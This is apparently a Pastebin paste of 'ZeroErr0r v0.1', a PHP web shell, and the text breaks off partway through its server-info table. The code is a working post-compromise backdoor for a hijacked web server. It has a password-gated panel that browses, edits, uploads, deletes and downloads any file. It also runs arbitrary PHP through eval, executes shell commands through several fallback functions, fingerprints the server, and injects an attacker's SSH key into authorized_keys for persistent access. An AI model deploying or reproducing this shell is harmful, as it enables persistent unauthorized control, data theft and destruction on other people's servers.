zeroerr0r

Zero PHP Shell

Sep 18th, 2017
607
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 42.02 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. if (isset($_POST['password'])) {
  5.     if (md5($_POST['password']) == '') {
  6.         $_SESSION['password'] = $_POST['password'];
  7.         header("Location: ?");
  8.     } else {
  9.         header("Location: ?");
  10.     }
  11. }
  12.  
  13. // ssh key injector
  14. if (isset($_POST['inject_key'])) {
  15.     $key = $_POST['pub_key'];
  16.  
  17.     // TODO: make this method works on windows servers
  18.     // this is only for linux server
  19.     chdir($_SERVER['DOCUMENT_ROOT'] . "/..");
  20.     if (file_exists(getcwd() . "/.ssh")) {
  21.         if (!is_writable((getcwd() . '/.ssh'))) {
  22.             header("Location: ?view=injector&action=ssh&msg=" . base64_encode("permission denied"));
  23.             die();
  24.         }
  25.     } else {
  26.         if (!is_writable(getcwd())) {
  27.             header("Location: ?view=injector&action=ssh&msg=" . base64_encode("permission denied"));
  28.             die();
  29.         }
  30.         mkdir(getcwd() . "/.ssh");
  31.     }
  32.  
  33.     $key_file = fopen(getcwd() . "/.ssh/authorized_keys", "a+");
  34.     fwrite($key_file, $key);
  35.     fclose($key_file);
  36.     chdir($_SESSION['cd']);
  37.     header("Location: ?view=injector&action=ssh&msg=" . base64_encode("ssh key injected successfully!"));
  38. }
  39.  
  40. function download($filename){
  41.   if(!empty($filename)){
  42.     // Specify file path.
  43.     $path = ''; // '/uplods/'
  44.     $download_file =  $path.$filename;
  45.     // Check file is exists on given path.
  46.     if(file_exists($download_file)) {
  47.       // Getting file extension.
  48.       $extension = explode('.',$filename);
  49.       $extension = $extension[count($extension)-1];
  50.       // For Gecko browsers
  51.       header('Content-Transfer-Encoding: binary');  
  52.       header('Last-Modified: ' . gmdate('D, d M Y H:i:s', filemtime($path)) . ' GMT');
  53.       // Supports for download resume
  54.       header('Accept-Ranges: bytes');  
  55.       // Calculate File size
  56.       header('Content-Length: ' . filesize($download_file));  
  57.       header('Content-Encoding: none');
  58.       // Change the mime type if the file is not PDF
  59.       header('Content-Type: application/'.$extension);  
  60.       // Make the browser display the Save As dialog
  61.       header('Content-Disposition: attachment; filename=' . $filename);  
  62.       readfile($download_file);
  63.       exit;
  64.     }
  65.     else {
  66.       header("Location: ?msg=" . base64_encode('File does not exists on given path'));
  67.     }
  68.  
  69.  }
  70. }
  71.  
  72. if (isset($_GET['view']) AND isset($_GET['action']) AND $_GET['action'] == 'download') {
  73.     download($_GET['view']);
  74. }
  75.  
  76. if (isset($_GET['action']) AND $_GET['action'] == 'logout') {
  77.     session_destroy();
  78.     header("Location: ?");
  79.     die();
  80. }
  81.  
  82.  
  83. function delete_directory($dirname) {
  84.      if (is_dir($dirname))
  85.      $dir_handle = opendir($dirname);
  86.      if (!$dir_handle)
  87.           return false;
  88.      while($file = readdir($dir_handle)) {
  89.            if ($file != "." && $file != "..") {
  90.                 if (!is_dir($dirname."/".$file))
  91.                      unlink($dirname."/".$file);
  92.                 else
  93.                      delete_directory($dirname.'/'.$file);
  94.            }
  95.      }
  96.      closedir($dir_handle);
  97.      rmdir($dirname);
  98.      return true;
  99. }
  100.  
  101. if (isset($_GET['cd'])) {
  102.     $_SESSION['cd'] = base64_decode($_GET['cd']);
  103. }
  104.  
  105. if (isset($_GET['rmdir'])) {
  106.     $file = realpath(base64_decode($_GET['rmdir']));
  107.     if (file_exists($file)) {
  108.         if (is_writable($file)) {
  109.             delete_directory($file);
  110.             header("Location: ?msg=" . base64_encode($file . " has been deleted!"));
  111.         } else {
  112.             header("Location: ?msg=" . base64_encode("permission denied!"));
  113.         }
  114.     }
  115. }
  116. if (isset($_GET['rmfile'])) {
  117.     $file = realpath(base64_decode($_GET['rmfile']));
  118.     if (file_exists($file)) {
  119.         if (is_writable($file)) {
  120.             unlink($file);
  121.             header("Location: ?msg=" . base64_encode($file . " has been deleted!"));
  122.         } else {
  123.             header("Location: ?msg=" . base64_encode("permission denied!"));
  124.         }
  125.     }
  126. }
  127.  
  128. if (isset($_GET['multirmfile'])) {
  129.     for ($i = 0; $i < intval($_GET['multirmfile']); $i++) {
  130.         $file = realpath(base64_decode($_GET['rmfile' . $i]));
  131.         if (file_exists($file)) {
  132.             if (is_writable($file)) {
  133.                 if (is_dir($file)) {
  134.                     rmdir($file);
  135.                 } else {
  136.                     unlink($file);
  137.                 }
  138.                 header("Location: ?msg=" . base64_encode("selected file(s) has been deleted!"));
  139.             } else {
  140.                 header("Location: ?msg=" . base64_encode("permission denied!"));
  141.             }
  142.         }
  143.     }
  144. }
  145.  
  146. if (isset($_SESSION['cd'])) {
  147.     chdir($_SESSION['cd']);
  148. }
  149.  
  150. if (isset($_GET['to']) AND isset($_GET['from'])) {
  151.     $from = base64_decode($_GET['from']);
  152.     $to = $_GET['to'];
  153.  
  154.     if (is_writable($from)) {
  155.         if (file_exists($from)) {
  156.             rename($from, getcwd() . '/' . $to);
  157.             header('Location: ?msg=' . base64_encode("file renamed successfully!"));
  158.         } else {
  159.             header("Location: ?msg=" . base64_encode("file doesn't exist"));
  160.         }
  161.     } else {
  162.         header("Location: ?msg=" . base64_encode("permission denied!"));
  163.     }
  164. }
  165.  
  166. function formatSizeUnits($bytes) {
  167.         if ($bytes >= 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; }
  168.         elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; }
  169.         elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; }
  170.         elseif ($bytes > 1) { $bytes = $bytes . ' B'; }
  171.         elseif ($bytes == 1) { $bytes = $bytes . ' B'; }
  172.         else { $bytes = '0 B'; }
  173.  
  174.         return $bytes;
  175. }
  176. function formatPerms($perms) {
  177.     switch ($perms & 0xF000) {
  178.         case 0xC000: // socket
  179.             $info = 's';
  180.             break;
  181.         case 0xA000: // symbolic link
  182.             $info = 'l';
  183.             break;
  184.         case 0x8000: // regular
  185.             $info = 'r';
  186.             break;
  187.         case 0x6000: // block special
  188.             $info = 'b';
  189.             break;
  190.         case 0x4000: // directory
  191.             $info = 'd';
  192.             break;
  193.         case 0x2000: // character special
  194.             $info = 'c';
  195.             break;
  196.         case 0x1000: // FIFO pipe
  197.             $info = 'p';
  198.             break;
  199.         default: // unknown
  200.             $info = 'u';
  201.     }
  202.  
  203.     // Owner
  204.     $info .= (($perms & 0x0100) ? 'r' : '-');
  205.     $info .= (($perms & 0x0080) ? 'w' : '-');
  206.     $info .= (($perms & 0x0040) ?
  207.                 (($perms & 0x0800) ? 's' : 'x' ) :
  208.                 (($perms & 0x0800) ? 'S' : '-'));
  209.  
  210.     // Group
  211.     $info .= (($perms & 0x0020) ? 'r' : '-');
  212.     $info .= (($perms & 0x0010) ? 'w' : '-');
  213.     $info .= (($perms & 0x0008) ?
  214.                 (($perms & 0x0400) ? 's' : 'x' ) :
  215.                 (($perms & 0x0400) ? 'S' : '-'));
  216.  
  217.     // World
  218.     $info .= (($perms & 0x0004) ? 'r' : '-');
  219.     $info .= (($perms & 0x0002) ? 'w' : '-');
  220.     $info .= (($perms & 0x0001) ?
  221.                 (($perms & 0x0200) ? 't' : 'x' ) :
  222.                 (($perms & 0x0200) ? 'T' : '-'));
  223.  
  224.     return $info;
  225. }
  226. function modifiedDate($filename) {
  227.     if (file_exists($filename)) {
  228.         return date ("M-d-Y H:i:s", filemtime($filename));
  229.     }
  230. }
  231.  
  232. function ex($in) {
  233.     $out = '';
  234.     if(function_exists('exec')) {
  235.         @exec($in,$out);
  236.         $out = @join("\n",$out);
  237.     }elseif(function_exists('passthru')) {
  238.         ob_start();
  239.         @passthru($in);
  240.         $out = ob_get_clean();
  241.     }elseif(function_exists('system')) {
  242.         ob_start();
  243.         @system($in);
  244.         $out = ob_get_clean();
  245.     }elseif(function_exists('shell_exec')) {
  246.         $out = shell_exec($in);
  247.     }elseif(is_resource($f = @popen($in,"r"))) {
  248.         $out = "";
  249.         while(!@feof($f))
  250.             $out .= fread($f,1024);
  251.         pclose($f);
  252.     }
  253.     return $out;
  254. }
  255.  
  256. function which($p) {
  257.     $path = ex('which '.$p);
  258.     if(!empty($path))
  259.         return $path;
  260.     return false;
  261. }
  262.  
  263. if (isset($_POST['edit'])) {
  264.     if (is_writable($_POST['dest'])) {
  265.         $file = fopen($_POST['dest'], 'w');
  266.         fwrite($file, $_POST['content']);
  267.         fclose($file);
  268.         header('Location: ?msg=' . base64_encode("file saved!"));
  269.     } else {
  270.         header('Location: ?msg=' . base64_encode("permission denied!"));
  271.     }
  272. }
  273.  
  274. if (isset($_GET['touch']) AND isset($_GET['file'])) {
  275.     if (is_writable(dirname(base64_decode($_GET['touch'])))) {
  276.         $content = "";
  277.         $fp = fopen(base64_decode($_GET['touch']) . '/' . $_GET['file'],"wb");
  278.         fwrite($fp,$content);
  279.         fclose($fp);
  280.         header("Location: ?msg=" . base64_encode($_GET['file'] . " has been created!"));
  281.     } else {
  282.         header("Location: ?msg=" . base64_encode("permission denied!"));
  283.     }
  284. }
  285.  
  286. if (isset($_GET['mkdir_path']) AND isset($_GET['folder'])) {
  287.     if (is_writable(dirname(base64_decode($_GET['mkdir_path'])))) {
  288.         mkdir(base64_decode($_GET['mkdir_path']) . '/' . $_GET['folder']);
  289.         header("Location: ?msg=" . base64_encode($_GET['folder'] . " folder has been created!"));
  290.     } else {
  291.         header("Location: ?msg=" . base64_encode("permission denied!"));
  292.     }
  293. }
  294.  
  295. if (isset($_POST['upload'])) {
  296.     if (is_writable($_POST['path'])) {
  297.         $files = @$_FILES["files"];
  298.         $fullpath = $_POST['path'] . "/" . $files["name"];
  299.  
  300.         // if (file_exists($fullpath)) {
  301.         //  header("Location: ?msg=" . base64_encode("file already exist!"));
  302.         //  die();
  303.         // }
  304.  
  305.         if ($files["name"] != '') {
  306.             if (move_uploaded_file($files['tmp_name'], $fullpath)) {
  307.                 header("Location: ?msg=" . base64_encode("file uploaded to $fullpath"));
  308.             } else {
  309.                 header("Location: ?msg=" . base64_encode("an error occured!"));
  310.             }
  311.         }
  312.     } else {
  313.         header("Location: ?msg=" . base64_encode(base64_decode('permission denied!')));
  314.     }
  315. }
  316.  
  317. if ($_SERVER['REQUEST_METHOD'] == 'POST' AND isset($_POST['qpath'])) {
  318.     header("Location: ?cd=" . base64_encode($_POST['qpath']));
  319. }
  320.  
  321.  
  322.  
  323. if (isset($_GET['action']) AND isset($_GET['numfiles']) AND $_GET['action'] == 'zip') {
  324.     $zip = new ZipArchive();
  325.     chdir($_SESSION['cd']);
  326.     if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
  327.         $tmp = explode('\\', getcwd());
  328.     } else {
  329.         $tmp = explode('/', getcwd());
  330.     }
  331.  
  332.     if($zip->open(getcwd() . "/" . $tmp[count($tmp) - 1] . ".zip", ZipArchive::CREATE) === TRUE) {
  333.         for ($i = 0; $i < intval($_GET['numfiles']); $i++) {
  334.             // $zip->addFromString(basename(getcwd() . '/cx.txt'),  file_get_contents(getcwd() . '/cx.txt'));
  335.             $file = base64_decode($_GET['file' . $i]);
  336.             if (!is_dir($file)) {
  337.                 $zip->addFile(basename($file));
  338.             }
  339.         }
  340.         $zip->close();
  341.  
  342.         header("Location: ?msg=" . base64_encode("selected files has been compressed and downloaded."));
  343.     } else {
  344.         echo "Failed!";
  345.         header("Location: ?msg=" . base64_encode("failed to create a zip file"));
  346.     }
  347. }
  348.  
  349. ?>
  350.  
  351. <!DOCTYPE html>
  352. <html>
  353. <head>
  354.     <meta charset="utf-8">
  355.     <title>- ZerroErr0r v0.1</title>
  356.     <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
  357.     <style type="text/css">
  358.         .hljs{display:block;overflow-x:auto;padding:.5em;background:#071414;color:#e6e1dc}.hljs-comment,.hljs-quote{color:#bc9458;font-style:italic}.hljs-keyword,.hljs-selector-tag{color:#c26230}.hljs-number,.hljs-regexp,.hljs-string,.hljs-template-variable,.hljs-variable{color:#a5c261}.hljs-subst{color:#519f50}.hljs-name,.hljs-tag{color:#e8bf6a}.hljs-type{color:#da4939}.hljs-attr,.hljs-built_in,.hljs-builtin-name,.hljs-bullet,.hljs-link,.hljs-symbol{color:#6d9cbe}.hljs-params{color:#d0d0ff}.hljs-attribute{color:#cda869}.hljs-meta{color:#9b859d}.hljs-section,.hljs-title{color:#ffc66d}.hljs-addition,.hljs-deletion{color:#e6e1dc;display:inline-block;width:100%}.hljs-addition{background-color:#144212}.hljs-deletion{background-color:#600}.hljs-selector-class{color:#9b703f}.hljs-selector-id{color:#8b98ab}.hljs-emphasis{font-style:italic}.hljs-strong{font-weight:700}.hljs-link{text-decoration:underline}
  359.     </style>
  360.    
  361.     <script type="text/javascript">
  362.         window.addEventListener('load', function() {
  363.             var boxes = document.getElementsByClassName('box');
  364.             for (var i = 0; i < boxes.length; i++) {
  365.                 boxes[i].innerHTML += "<span class='c1'></span><span class='c2'></span><span class='c3'></span><span class='c4'></span>";
  366.             }
  367.         }, false);
  368.     </script>
  369.  
  370.     <style type="text/css">
  371.         @import url(https://fonts.googleapis.com/css?family=Electrolize);body,h1,h2,h3,h4,h5,nav ul{margin:0;padding:0}nav li a,nav li a:hover{transition:all .2s ease}nav li a,section a{text-decoration:none}nav li,nav li a{display:inline-block}.logo span,body,form textarea,section a:hover{color:#AAA}.error,footer{text-align:right}body{background-color:#071414;font-family:Electrolize,monospace,sans-serif,arial}header{padding:20px;border:1px solid #BBB;margin:20px}header .logo{float:left;position:relative;top:3px}header .info{float:right;text-transform:uppercase}.logo span{opacity:.7}nav{padding:0 20px;}nav li a{padding:4px 15px;color:#E3052B;}nav li a:hover{text-decoration: line-through;}section{margin:20px;border:1px solid #E3052B;}section .content{padding:20px}section .title{background-color:#0E1A1F;padding:10px 20px;border-bottom:1px solid #85001A}section table{width:100%}section table td{padding:5px 15px}section table .td_head td{padding:0 15px 20px;text-transform:uppercase}section table tr:hover{background-color:#1A272E}section table tr:first-child:hover{background-color:transparent}section a{color:#EF330E}.error{padding:10px 20px;background-color:#E3052B; text-align:center;color:#EEE;}img{max-width:100%}pre{overflow:auto}pre code{font-size:1rem}form textarea{width:100%;display:block;border:none;height:500px;background-color:transparent;resize:none;font-size:1.2rem;outline:0}form input[type=submit],form select{padding:5px 20px;font-family: 'Electrolize', monospace;border:1px solid #E3052B;display:inline-block;margin-top:20px;font-size:1rem;background-color:transparent;color:#E3052B;cursor:pointer;outline:none;}form select{background-color:#071414;outline:0}form input[type=submit]:hover{background-color:#85001A;color:#AAA}form input[type=text]{border:none;background-color:transparent;font-size:1.1rem;width:80%;outline:0;color:#EF330E;font-family:monospace}.light_red{color:#E3052B}.dark_red{color:#85001A}.orange{color:#EF330E}.light_black{color:#0E1A1F}.dark_black{color:#071414}.clearfix:after{content:'';display:table;clear:both}::-webkit-scrollbar{width:8px}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px}::-webkit-scrollbar-thumb{background-color:#85001a}footer{padding:20px;opacity:.2}.result{margin-top:20px;padding:10px;background-color:#1A272E}#login input{background-color:transparent;border:1px solid #E3052B;width:100%;box-sizing:border-box;padding:10px 20px;display:block;margin-top:5px;color:#E3052B;outline:0}#login{width:300px;}#login input[type=submit]{margin-top:15px}#login input[type=submit]:hover{background-color:#85001A;color:#AAA}form .title{border: none;width: 100%;color:#AAA;font-size: 1.1rem;font-family: 'Electrolize', monospace; box-sizing: border-box;border-bottom: 1px solid #E3052B; outline: none;}.box { border: 2px solid #85001A; }.box .c1, .box .c2, .box .c3, .box .c4 { display: block; position: absolute; width: 5px; height: 3px; background-color: #EEE; }.box .c1 { top: -2px; left: -2px; }.box .c2 { top: -2px; right: -2px; }.box .c3 { bottom: -2px; right: -2px; }.box .c4 { bottom: -2px; left: -2px; }header { position: relative; }header .logo p, header .logo{font-weight: lighter;padding: 0;margin: 0;top:0;}section{position: relative;}#login p{margin: 0;}#login{position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);}#login .content{padding: 20px;}#login .title{padding: 10px 20px;border-color: #85001A;border-width: 2px;}#login .content input {border-color: #85001A;}select {font-family: 'Electrolize', monospace;padding: 0 20px;}pre {white-space: pre-wrap;white-space: -moz-pre-wrap;white-space: -pre-wrap;white-space: -o-pre-wrap;word-wrap: break-word;}.view_action, .action_menu{padding: 10px 20px;border-bottom:2px solid #85001A;position: relative;}.view_action button, .action_menu button{outline:none;border: 1px solid #E3052B;background-color: transparent;color: #E3052B;padding: 5px 15px;display: inline-block;cursor: pointer;font-family: 'Electrolize', monospace;}.view_action button:hover, .action_menu button:hover{background-color: #85001A;color: #EEE;}.file_select{opacity: 0;}tr:hover .file_select{opacity: 1;}.file_select{margin: 0;padding: 0;cursor: pointer;outline: none;}.action_menu{display: none;}.info_head{padding: 10px 20px;background-color: #85001A;cursor: pointer;margin: 5px 0 0 0;}.server_info table { border:1px solid #85001A;}.server_info table td { border: 0.1px solid #333; }.server_info table tr:hover {background-color: transparent;}.off{display: none;}.port_scanner input[type='text']{display: inline-block; padding: 10px;border:1px solid #E3052B;width: 100%;box-sizing: border-box;}.port_scanner tr:hover{background-color: transparent;}.port_scanner td {padding: 3px 0;}
  372.     </style>
  373.  
  374.     <script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.10.0/highlight.min.js"></script>
  375. </head>
  376. <body>
  377. <?php if (!isset($_SESSION['password'])) { ?>
  378.  
  379. <form action="" method="post" id="login" class="box">
  380.     <p class="title">PASSWORD</p><br>
  381.     <div class="content">
  382.     <input type="text" name="password" style="-webkit-text-security: square;font-size: 1.3rem; text-align: center;padding: 5px;-webkit-text-security: square;letter-spacing: 3px;padding-bottom: 8px;font-family: 'Electrolize', monospace;" autocomplete="off" spellcheck="false" autofocus>
  383.     <input type="submit" name="login" value="GET IN!" style="font-family: 'Electrolize', monospace;font-size: 1rem;">
  384.     </div>
  385. </form>
  386.  
  387. <?php die(); } ?>
  388.  
  389.  
  390. <header class="clearfix box">
  391.     <div class="logo">
  392.         <p>ZeroErr0r <span>v0.1</span></p>
  393.     </div>
  394.     <div class="info">
  395.         Server IP: <?php echo gethostbyname($_SERVER['SERVER_NAME']) ?>
  396.     </div>
  397. </header>
  398. <nav>
  399.     <ul>
  400.         <li><a href="?">explorer</a></li>
  401.         <li><a href="?view=evaluate">evaluate</a></li>
  402.         <li><a href="?view=info">info</a></li>
  403.         <li><a href="?view=terminal">terminal</a></li>
  404.         <li><a href="?view=port_scanner">port scanner</a></li>
  405.         <li><a href="?view=injector">injector</a></li>
  406.         <li><a href="?view=database">database</a></li>
  407.         <li><a href="?view=networking">networking</a></li>
  408.         <li><a href="?action=logout"><i class="fa fa-sign-out"></i> logout</a></li>
  409.     </ul>
  410. </nav>
  411. <section class="box">
  412.     <?php if (isset($_GET['msg'])) { ?>
  413.     <div class="error"><?php echo base64_decode($_GET['msg']) ?></div>
  414.     <?php } ?>
  415.  
  416.     <script>
  417.         function showAction() {
  418.             var s = document.getElementsByClassName('file_select');
  419.             var m = document.getElementsByClassName('action_menu')[0];
  420.             for (var i = 0; i < s.length; i++) {
  421.                 if (s[i].checked) {
  422.                     m.style.display = 'block';
  423.                     break;
  424.                 } else {
  425.                     m.style.display = 'none';
  426.                 }
  427.             }
  428.         }
  429.     </script>
  430.  
  431.     <div class="action_menu">
  432.         <button onclick="filesDelete()"><i class="fa fa-trash"></i> Delete</button>
  433.         <button onclick="filesCompress()"><i class="fa fa-download"></i> Compress</button>
  434.     </div>
  435.  
  436.     <!-- SUB_MENU -->
  437.     <?php if (isset($_GET['view']) AND isset($_GET['action']) AND isset($_GET['img']) AND $_GET['action'] == 'display') { ?>
  438.         <div class="view_action">
  439.             <a href="?view=<?php echo $_GET['view'] ?>&action=edit"><button><i class="fa fa-pencil"></i> Edit</button></a>
  440.             <a href="?view=<?php echo $_GET['view'] ?>&action=download"><button><i class="fa fa-download"></i> Download</button></a>
  441.             <a href="?rmfile=<?php echo base64_encode($_GET['view']) ?>"><button><i class="fa fa-trash"></i> Delete</button></a>
  442.             <a href="?"><button><i class="fa fa-close"></i> Close</button></a>
  443.         </div>
  444.     <?php } ?>
  445.     <?php if (isset($_GET['view']) AND $_GET['view'] == 'injector') { ?>
  446.         <div class="view_action">
  447.             <a href="?view=<?php echo $_GET['view'] ?>"><button><i class="fa fa-asterisk"></i> Basic Injector</button></a>
  448.             <a href="?view=<?php echo $_GET['view'] ?>&action=ssh"><button><i class="fa fa-exchange"></i> SSH Injector</button></a>
  449.         </div>
  450.     <?php } ?>
  451.  
  452.     <form action="" method="POST">
  453.         <input class="title" value="<?php echo getcwd(); ?>" name="qpath" spellcheck="false" autocomplete="off" style="border-color: #85001A;border-width: 2px;">
  454.     </form>
  455.     <div class="content">
  456.         <?php if (!isset($_GET['view'])) { ?>
  457.         <table>
  458.             <tr class="td_head">
  459.                 <td>name</td>
  460.                 <td>size</td>
  461.                 <td>permissions</td>
  462.                 <td>modified</td>
  463.                 <td>action</td>
  464.             </tr>
  465.             <?php
  466.             // echo getcwd() . "<br>";
  467.             // chdir("..");
  468.             // echo getcwd();
  469.             $directories = array();
  470.             $files_list  = array();
  471.             if ($handle = opendir('.')) {
  472.  
  473.                 while (false !== ($entry = readdir($handle))) {
  474.  
  475.                     if (is_dir($entry)) {
  476.                         $directories[] = $entry;
  477.                     } else {
  478.                         $files_list[] = $entry;
  479.                     }
  480.                 }
  481.  
  482.                 closedir($handle);
  483.             }
  484.             asort($directories);
  485.  
  486.             foreach ($directories as $dir) {
  487.                 if ($dir != "." && $dir != "..") {
  488.                     $size = "Dir";
  489.                     $perms = formatPerms(fileperms($dir));
  490.                     $modified = modifiedDate($dir);
  491.                     $link = "?cd=" . base64_encode(getcwd() . "/" . $dir);
  492.                     $del = "?rmdir=" . base64_encode(getcwd() . "/" . $dir);
  493.                     $down_path = getcwd() . "/" . $dir;
  494.                     $path = base64_encode($down_path);
  495.                     // $upload_path = realpath(dirname(__FILE__) . $dir);
  496.  
  497.                     echo "<tr>";
  498.                     echo "<td><input type='checkbox' class='file_select' onclick='fileSelectCheck()' value='$path'> <a href='$link'><i class='fa fa-folder'></i> $dir</a></td>";
  499.                     echo "<td>$size</td>";
  500.                     echo "<td>$perms</td>";
  501.                     echo "<td>$modified</td>";
  502.                     echo "<td class='action'><a href='#' onclick='rename(\"$path\")'>ren</a> - <a href='$del'>del</a> - <a href='?view=$down_path&action=upload'>upl</a></td>";
  503.                     echo "</tr>";
  504.                 } else {
  505.                     $size = "Link";
  506.                     $perms = formatPerms(fileperms($dir));
  507.                     $modified = modifiedDate($dir);
  508.                     $down_path = getcwd() . "/" . $dir;
  509.                     if ($dir == '..'){
  510.                         $link = "?cd=" . base64_encode(getcwd() . "/..");
  511.                         $touch_path = base64_encode('..');
  512.                         $mkdir_path = base64_encode('..');
  513.                         $upload_dir = '..';
  514.                     } else {
  515.                         $link = "?cd=" . base64_encode(getcwd());
  516.                         $touch_path = base64_encode($down_path);
  517.                         $mkdir_path = base64_encode($down_path);
  518.                         $upload_dir = getcwd();
  519.                     }
  520.  
  521.                     echo "<tr>";
  522.                     echo "<td><input type='checkbox' style='opacity:0;margin: 0;padding: 0;' disabled> <a href='$link'><i class='fa fa-folder'></i> $dir</a></td>";
  523.                     echo "<td>$size</td>";
  524.                     echo "<td>$perms</td>";
  525.                     echo "<td>$modified</td>";
  526.                     echo "<td class='action'><a href='?view=$upload_dir&action=upload'>upl</a> - <a href='#' onclick='touch(\"$touch_path\")'>+file</a> - <a href='#' onclick='mkdir(\"$mkdir_path\")'>+dir</a></td>";
  527.                     echo "</tr>";
  528.                 }
  529.             }
  530.  
  531.             foreach ($files_list as $file) {
  532.                 // if ($file != "." && $file != "..") {
  533.                     $size = formatSizeUnits(filesize($file));
  534.                     $perms = formatPerms(fileperms($file));
  535.                     $modified = modifiedDate($file);
  536.                     $del = "?rmfile=" . base64_encode(getcwd() . "/" . $file);
  537.                     // $down_path = realpath(getcwd() . "/" . $file);
  538.                     $path = getcwd() . "/" . $file;
  539.                     $rename_path = base64_encode($down_path);
  540.                     $isimg = @is_array(getimagesize($file));
  541.  
  542.                     // echo "<p>$file <b>" . formatSizeUnits(filesize($file)) . "</b></p>";
  543.                     echo "<tr>";
  544.                     echo "<td><input type='checkbox' class='file_select' onclick='fileSelectCheck()' value='$rename_path'> <a href='?view=$path&action=display&img=$isimg'><i class='fa fa-file-text'></i> $file</a></td>";
  545.                     echo "<td>$size</td>";
  546.                     echo "<td>$perms</td>";
  547.                     echo "<td>$modified</td>";
  548.                     echo "<td class='action'><a href='?view=$path&action=edit'>edit</a> - <a href='#' onclick='rename(\"$rename_path\", \"$file\")'>ren</a> - <a href='$del'>del</a> - <a href='?view=$path&action=download'>dl</a></td>";
  549.                     echo "</tr>";
  550.                 // }
  551.             }
  552.  
  553.             ?>
  554.         </table>
  555.         <?php } else if (isset($_GET['view']) AND isset($_GET['action']) AND isset($_GET['img']) AND $_GET['action'] == 'display') { ?>
  556.         <?php $path_info = pathinfo($_GET['view']); ?>
  557.  
  558.         <pre><code class="<?php echo $path_info['extension'] ?>"><?php
  559.             if (file_exists($_GET['view'])) {
  560.                 if ($_GET['img'] === '1') {
  561.                     $image = (strpos($_GET['view'], $_SERVER['DOCUMENT_ROOT']) !== false) ? preg_replace('#'. $_SERVER['DOCUMENT_ROOT'] .'#', 'http://' . $_SERVER['HTTP_HOST'], $_GET['view']) : $_GET['view'];
  562.                     // Read image path, convert to base64 encoding
  563.                     $imageData = base64_encode(file_get_contents($image));
  564.  
  565.                     // Format the image SRC:  data:{mime};base64,{data};
  566.                     $src = 'data: '. pathinfo($image, PATHINFO_EXTENSION) .';base64,'.$imageData;
  567.  
  568.                     // Echo out a sample image
  569.                     echo '<img src="' . $src . '">';
  570.                 } else {
  571.                     $file = fopen($_GET['view'], 'r');
  572.                     if (filesize($_GET['view']) > 0)
  573.                         echo htmlspecialchars(fread($file, filesize($_GET['view'])));
  574.                     else
  575.                         echo "Empty";
  576.                     fclose($file);
  577.                 }
  578.             }
  579.             ?></code></pre>
  580.  
  581.         <?php } else if (isset($_GET['view']) AND isset($_GET['action']) AND $_GET['action'] == 'edit') { ?>
  582.  
  583.         <?php
  584.         $file = fopen($_GET['view'], 'r');
  585.         if (filesize($_GET['view']) > 0)
  586.             $content = htmlspecialchars(fread($file, filesize($_GET['view'])));
  587.         else
  588.             $content = "";
  589.         fclose($file);
  590.         ?>
  591.  
  592.         <form action="" method="post">
  593.             <textarea name="content" spellcheck="false" autofocus><?php echo $content ?></textarea>
  594.             <input type="hidden" name="dest" value="<?php echo $_GET['view'] ?>">
  595.             <input type="submit" name="edit" value="Save!">
  596.         </form>
  597.  
  598.         <?php } else if (isset($_GET['view']) AND isset($_GET['action']) AND $_GET['action'] == 'upload') { ?>
  599.  
  600.         <form action="" method="post" enctype="multipart/form-data" style="border: 1px solid #AAA; padding: 20px;">
  601.             <p style="margin: 0;font-size: 1.2rem;">Local File Upload</p>
  602.             <input type="hidden" name="path" value="<?php echo $_GET['view'] ?>">
  603.             <input type="file" name="files">
  604.             <input type="submit" name="upload" value="Upload!">
  605.         </form>
  606.         <br><br>
  607.         <form action="" method="post" enctype="multipart/form-data" style="border: 1px solid #AAA; padding: 20px;">
  608.             <p style="margin: 0;font-size: 1.2rem;">Remote File Upload</p>
  609.             <input type="hidden" name="path" value="<?php echo $_GET['view'] ?>">
  610.             <input type="text" name="remote_file" placeholder="Remote File URL" style="border: 1px solid #EF330E; padding: 6px 20px; position: relative;top:-1px; width: 200px;">
  611.             <input type="submit" name="remote_upload" value="Upload!">
  612.         </form>
  613.  
  614.         <!-- EVALUATE -->
  615.         <?php } else if (isset($_GET['view']) AND $_GET['view'] == 'evaluate') { ?>
  616.             <form action="?view=evaluate" method="post">
  617.                 <textarea name="eval_code" spellcheck="false" style="height: 200px;" autofocus><?php if (isset($_POST['eval_code'])) { echo $_POST['eval_code']; } ?></textarea>
  618.                 <input type="submit" name="eval" value="Go!">
  619.                 <select name="language">
  620.                     <option value="php">php</option>
  621.                     <!-- <option value="python">python</option>
  622.                     <option value="perl">perl</option>
  623.                     <option value="nodejs">nodejs</option>
  624.                     <option value="ruby">ruby</option> -->
  625.                 </select>
  626.             </form>
  627.             <?php
  628.                 if (isset($_POST['eval'])) {
  629.                     $code = $_POST['eval_code'];
  630.                     $lang = $_POST['language'];
  631.                     echo '<pre class="result">';
  632.                     if ($lang == 'php') {
  633.                         eval($code);
  634.                     }
  635.                     echo '</pre>';
  636.                 }
  637.                 ?>
  638.  
  639.         <!-- INFO -->
  640.         <?php } else if (isset($_GET['view']) AND $_GET['view'] == 'info') { ?>
  641.             <div class="server_info">
  642.                 <p class="info_head" onclick="toggle(this)">Server Info</p>
  643.                 <table class="off">
  644.                     <tr>
  645.                         <td>Root Disk</td>
  646.                         <td><?php echo (formatSizeUnits(disk_total_space("/") - disk_free_space("/"))) . " / " . formatSizeUnits(disk_total_space("/")); ?></td>
  647.                     </tr>
  648.                     <tr>
  649.                         <td>PHP</td>
  650.                         <td><?php echo phpversion() ?></td>
  651.                     </tr>
  652.                     <tr>
  653.                         <td>Python</td>
  654.                         <td><?php if(which("python")) { echo shell_exec("python --version 2>&1"); } ?></td>
  655.                     </tr>
  656.                     <tr>
  657.                         <td>Curl</td>
  658.                         <td><?php if(function_exists('curl_version')) { $v = curl_version(); echo $v['version']; } ?></td>
  659.                     </tr>
  660.                     <tr>
  661.                         <td>tar</td>
